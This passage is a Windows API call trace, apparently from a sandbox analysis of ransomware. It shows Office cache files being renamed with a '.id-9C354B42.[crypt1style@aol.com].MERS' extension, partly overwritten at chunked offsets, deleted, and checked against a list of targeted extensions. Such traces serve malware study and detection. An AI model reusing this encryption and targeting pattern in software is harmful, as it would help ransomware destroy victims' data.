hTemplateFile=0x0) returned 0x1a4 [0045.226] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3702272) returned 1 [0045.226] CloseHandle (hObject=0x1a4) returned 1 [0045.226] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0045.226] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.226] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.227] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.227] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.227] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.250] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.250] ReadFile (in: hFile=0x1a4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.271] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.272] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.272] ReadFile (in: hFile=0x1a4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.303] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.304] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0045.324] SetEndOfFile (hFile=0x1a4) returned 1 [0045.324] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0045.328] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.328] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.330] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.330] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.334] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.334] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.336] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0045.336] CloseHandle (hObject=0x1a4) returned 1 [0045.336] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.336] lstrlenW (lpString=".doc") returned 4 [0045.336] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.336] lstrlenW (lpString=".docx") returned 5 [0045.336] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.336] lstrlenW (lpString=".pdf") returned 4 [0045.336] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.337] lstrlenW (lpString=".xls") returned 4 [0045.337] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.337] lstrlenW (lpString=".xlsx") returned 5 [0045.337] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.337] lstrlenW (lpString=".ppt") returned 4 [0045.337] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.337] lstrlenW (lpString=".zip") returned 4 [0045.337] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.337] lstrlenW (lpString=".rar") returned 4 [0045.337] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.337] lstrlenW (lpString=".bz2") returned 4 [0045.337] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.337] lstrlenW (lpString=".7z") returned 3 [0045.337] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.337] lstrlenW (lpString=".dbf") returned 4 [0045.337] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.337] lstrlenW (lpString=".1cd") returned 4 [0045.337] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.337] lstrlenW (lpString=".jpg") returned 4 [0045.337] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString=".doc") returned 4 [0045.338] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.338] lstrlenW (lpString=".docx") returned 5 [0045.338] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.338] lstrlenW (lpString=".pdf") returned 4 [0045.338] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.338] lstrlenW (lpString=".xls") returned 4 [0045.338] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.338] lstrlenW (lpString=".xlsx") returned 5 [0045.338] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.338] lstrlenW (lpString=".ppt") returned 4 [0045.338] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString=".zip") returned 4 [0045.338] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.338] lstrlenW (lpString=".rar") returned 4 [0045.338] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.338] lstrlenW (lpString=".bz2") returned 4 [0045.338] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.338] lstrlenW (lpString=".7z") returned 3 [0045.338] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString=".dbf") returned 4 [0045.338] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString=".1cd") returned 4 [0045.338] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.338] lstrlenW (lpString=".jpg") returned 4 [0045.338] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.338] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0045.339] lstrlenW (lpString="osetupui.dll") returned 12 [0045.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.339] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=191872) returned 1 [0045.339] CloseHandle (hObject=0x1a4) returned 1 [0045.339] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0045.339] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.339] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.339] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.340] GetLastError () returned 0x0 [0045.340] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0045.410] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0045.417] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.417] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.417] SetEndOfFile (hFile=0x1f8) returned 1 [0045.417] CloseHandle (hObject=0x1f8) returned 1 [0045.418] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.418] SetEndOfFile (hFile=0x1a4) returned 1 [0045.419] CloseHandle (hObject=0x1a4) returned 1 [0045.419] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.420] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.420] lstrlenW (lpString=".doc") returned 4 [0045.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString=".docx") returned 5 [0045.420] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.420] lstrlenW (lpString=".pdf") returned 4 [0045.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString=".xls") returned 4 [0045.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString=".xlsx") returned 5 [0045.420] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.420] lstrlenW (lpString=".ppt") returned 4 [0045.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.420] lstrlenW (lpString=".zip") returned 4 [0045.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString=".rar") returned 4 [0045.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.420] lstrlenW (lpString=".bz2") returned 4 [0045.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.421] lstrlenW (lpString=".7z") returned 3 [0045.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString=".dbf") returned 4 [0045.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString=".1cd") returned 4 [0045.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString=".jpg") returned 4 [0045.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString=".doc") returned 4 [0045.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString=".docx") returned 5 [0045.421] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0045.421] lstrlenW (lpString=".pdf") returned 4 [0045.421] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString=".xls") returned 4 [0045.421] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString=".xlsx") returned 5 [0045.421] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0045.421] lstrlenW (lpString=".ppt") returned 4 [0045.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.421] lstrlenW (lpString=".zip") returned 4 [0045.421] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString=".rar") returned 4 [0045.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.421] lstrlenW (lpString=".bz2") returned 4 [0045.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.421] lstrlenW (lpString=".7z") returned 3 [0045.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.422] lstrlenW (lpString=".dbf") returned 4 [0045.422] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.422] lstrlenW (lpString=".1cd") returned 4 [0045.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0045.422] lstrlenW (lpString=".jpg") returned 4 [0045.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.422] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0045.422] lstrlenW (lpString="AccLR.cab") returned 9 [0045.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.424] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=28016276) returned 1 [0045.424] CloseHandle (hObject=0x1d4) returned 1 [0045.424] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0045.424] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.424] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.425] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.425] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.425] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.637] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.637] ReadFile (in: hFile=0x1d4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.682] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.682] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.682] ReadFile (in: hFile=0x1d4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.728] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0045.817] SetEndOfFile (hFile=0x1d4) returned 1 [0045.818] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0045.821] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.821] WriteFile (in: hFile=0x1d4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.822] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.822] WriteFile (in: hFile=0x1d4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.824] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.824] WriteFile (in: hFile=0x1d4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.826] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0045.826] CloseHandle (hObject=0x1d4) returned 1 [0045.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".doc") returned 4 [0045.827] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".docx") returned 5 [0045.827] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.827] lstrlenW (lpString=".pdf") returned 4 [0045.827] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".xls") returned 4 [0045.827] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".xlsx") returned 5 [0045.827] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 